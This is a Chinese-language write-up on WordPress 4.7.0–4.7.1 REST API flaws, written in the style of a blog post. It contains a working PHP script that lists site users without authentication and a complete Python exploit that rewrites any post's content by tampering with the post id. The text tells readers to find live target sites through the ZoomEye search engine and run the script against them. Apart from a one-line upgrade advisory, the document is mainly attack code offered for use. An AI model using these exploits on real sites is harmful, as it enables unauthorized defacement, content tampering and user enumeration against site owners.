wordpress4.7.0-4.7.1内容注入漏洞研究

wordpress4.7.0-4.7.1内容注入漏洞研究

一、获取user
1.影响：未授权获取发布过文章的其他用户的用户名、id
2.触发前提： wordpress配置REST API
3.影响版本：<= 4.7
4.漏洞说明： Get请求什么都不用做就可以避开wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 的逻辑判断，返回ture，程序继续执行query，REST API接口查询后以json格式在前端显示。能够获取到用户的一些信息。 请求地址：http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/
5.exploit：

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
$url= "http://xxxx.cn/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}
?>

6.效果：

二、未授权而更改任意文章
1.影响：未授权获取发布过文章的其他用户的用户名、id
2.触发前提： wordpress配置REST API
**3.影响版本：**wp4.7.0-4.7.1
4.漏洞说明： 由于服务器配置的REST API存在漏洞，导致WordPress所有文章内容可以未经验证被查看，修改，删除，甚至创建新的文章
5.exploit：

import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
    response = urllib2.urlopen(wordpress_url)
    data = etree.HTML(response.read())
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
    # check if we have permalinks
    if 'rest_route' in u:
        print(' ! Warning, looks like permalinks are not enabled. This might not work!')
    return u
def get_posts(api_base):
    respone = urllib2.urlopen(api_base + 'wp/v2/posts')
    posts = json.loads(respone.read())
    for post in posts:
        print(' - Post ID: {0}, Title: {1}, Url: {2}'
              .format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
    # more than just the content field can be updated. see the api docs here:
    # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
    data = json.dumps({
        'content': post_content
    })
    url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
    req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
    response = urllib2.urlopen(req).read()
    print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
    print('Usage: {0}  (optional:  )'.format(__file__))
if __name__ == '__main__':
    # ensure we have at least a url
    # if we have a post id, we need content too
    print('* Discovering API Endpoint')
    api_url = get_api_url(sys.argv[1])
    print('* API lives at: {0}'.format(api_url))
    # if we only have a url, show the posts we have have
    # if we get here, we have what we need to update a post!
    print('* Updating post {0}'.format(sys.argv[2]))
    #with open(sys.argv[3], 'r') as content:
     #   new_content = content.readlines()
    new_content='fff'
    update_post(api_url, sys.argv[2], new_content)
    print('* Update complete!')

6.漏洞测试：

6.1 先用zoomeye搜一个靶机

6.2 说明：脚本test.py同目录下创建一个content文件，里面放需要修改的内容
执行脚本：python test.py url 1 content(url为攻击目标这里就不给出了)
ps：这个脚本最好在linux下执行，windows下需要改一下。

7 最后效果图

8 修复建议：升级到最新版wp

9 最后总结：由api漏洞引起的未授权操作应该引起注意，在以后的漏洞研究中应多关注此类漏洞。关于代码方面，大概看了一下，主要还是由于程序员代码逻辑问题导致了未授权操作的发生。